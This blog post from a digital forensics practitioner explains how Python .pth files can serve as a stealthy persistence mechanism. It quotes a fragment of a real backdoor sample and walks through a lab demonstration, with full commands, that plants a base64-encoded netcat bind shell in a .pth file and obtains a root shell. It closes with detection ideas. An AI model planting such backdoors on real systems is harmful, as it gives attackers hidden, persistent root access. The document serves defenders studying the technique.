Analysis of Python's .pth files as a persistence mechanism
Table of Contents
Introduction
The purpose of the update.py script is to deploy a backdoor to the following path: /usr/lib/python3.6/site-packages/system.pth. The backdoor, written in Python, starts by an import and its main content is stored as a base64 encoded blob. The .pth extension is used to append additional paths to a Python module. Starting with the release of Python 3.5, lines in .pth files beginning with the text “import” followed by a space or a tab, are executed as described in the official documentation. Therefore, by creating this file, each time any other code on the device attempts to import the module, the malicious code is executed.
To recap: Starting with Python 3.5, lines in .pth files starting with “import” followed by a space or tab are executed. This allows malicious code in such files to run whenever any code on the device imports a module. In this blog post, we will look into the details of this backdooring technique, examining its implementation and investigating whether it leaves any traces behind.
Path Configuration Files
Path Configuration Files
(.pth) provide a way for Python to extend its module search paths, enabling the inclusion of extra directories where Python looks for modules and packages.
When a .pth
file is placed in a directory like site-packages
or dist-packages
(we’ll cover these shortly), Python processes these files during startup. Each line in the .pth
file can either add a directory to the module search path or execute Python code under specific conditions, as highlighted by Volexity. In particular, lines starting with import (followed by a space or tab) are executed. Leveraging a .pth
file is a creative and stealthy method to persist on a compromised system, as most Digital Forensics and Incident Response (DFIR) tools and enumeration scripts typically do not explicitly check for additional Python path configuration files.
Analysis of a malicious file
The file update.py
(MD5: 0c1554888ce9ed0da1583dbdf7b31651
), discovered by Volexity, contains the following Python code. The complete file is available on VirusTotal:
def protect():
import os,signal
systempth = "/usr/lib/python3.6/site-packages/system.pth"
content = open(systempth).read()
# os.unlink(__file__)
def stop(sig,frame):
if not os.path.exists(systempth):
with open(systempth,"w") as f:
f.write(content)
The backdoor ensures that the file system.pth
cannot be deleted. While Volexity has not shared the exact contents of this file, we can recreate the code execution in our lab using a similar .pth
file.
In the Python code above, the directory /usr/lib/python3.6/site-packages/
is used to store the malicious .pth
file. However, this path may vary depending on the system configuration. So, what other options are available? According to the Python documentation: The site module also provides a way to get the user directories from the command line.:
root@pth:~# python3 -m site
sys.path = [
'/root',
'/usr/lib/python312.zip',
'/usr/lib/python3.12',
'/usr/lib/python3.12/lib-dynload',
'/usr/local/lib/python3.12/dist-packages',
'/usr/lib/python3/dist-packages',
]
USER_BASE: '/root/.local' (doesn't exist)
USER_SITE: '/root/.local/lib/python3.12/site-packages' (doesn't exist)
ENABLE_USER_SITE: True
On our Ubuntu server, there isn’t a site-packages
folder, but we do have a dist-packages
directory. Let’s explore whether we can establish a stealthy persistence mechanism here as well.
Exploiting
We are utilizing a basic Netcat (nc) bind shell as the payload. Once executed, it will open port 45555 to the internet, providing access as soon as someone runs Python code on our compromised server.
root@pth:~# echo 'nohup bash -c "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f
| /bin/sh -i 2>&1
| nc -l 0.0.0.0 45555 > /tmp/f" &' | base64 -w0
bm9odXAgY[..]ZiIgJgo=
The Base64-encoded command is embedded within the following script, which will be written to the file /usr/local/lib/python3.12/dist-packages/malmoeb.pth
. It’s important to note that a .pth
file must begin with the keyword import;
otherwise, Python will not execute the code contained within it.
root@pth:~# echo "import os; os.system('echo "bbm9odXAgY[..]ZiIgJgo=" |
base64 -d|bash')" > /usr/local/lib/python3.12/dist-packages/malmoeb.pth
This is an effective persistence technique because it only takes a simple Python execution to trigger it:
root@pth:~# python3 -c "print('dfir.ch')"
dfir.ch
Our backdoor is now open, and we can successfully connect to the compromised server:
malmoeb@home ~ % nc 164.90.220.147 45555
# id
uid=0(root) gid=0(root) groups=0(root)
#
Great! If you’ve been paying attention to the output of python3 -m site
above, you may have noticed that the site-packages
folder is missing under the /root
directory. Let’s explore this approach:
root@pth:~# mkdir -p /root/.local/lib/python3.12/site-packages
root@pth:~# mv malmoeb.pth /root/.local/lib/python3.12/site-packages
root@pth:~# python3 -c "print('dfir.ch')"
And yes, we got a shell (again).
And now?
If an EDR were present on the compromised Linux system, the process chain (Python -> Bash -> nc) would likely trigger an alert, or even just Python -> Bash could raise suspicion. Furthermore, closely monitoring newly created .pth
files could help detect these persistence mechanisms. However, default security solutions are unlikely to identify such backdoors or the execution of code within .pth
files.
The risks associated with hidden .pth
files have already been discussed in the cpython
project’s issue tracker (Issue #113659).
The severity of this issue is not very large, because it requires user interaction to activate. But it increases the risk. I think we should forbid processing hidden pth files.
$PYTHONPATH - Down the rabbit hole
Itzik Kotler Co-Founder & CTO of SafeBreach, presented I'm In Your $PYTHONPATH, Backdooring Your Python Programs
(slides available here).
In his presentation, Itzik demonstrated how any Python module can be modified with additional code without altering the original functionality of the module. He used the PYTHONPATH
environment variable to redirect to the modified module, which, in my opinion, adds an interesting layer to the .pth
file technique discussed here.
After a compromise, Python modules could be injected with malicious code, or the PYTHONPATH
environment variable could be hijacked. How many security teams would actually detect such behavior?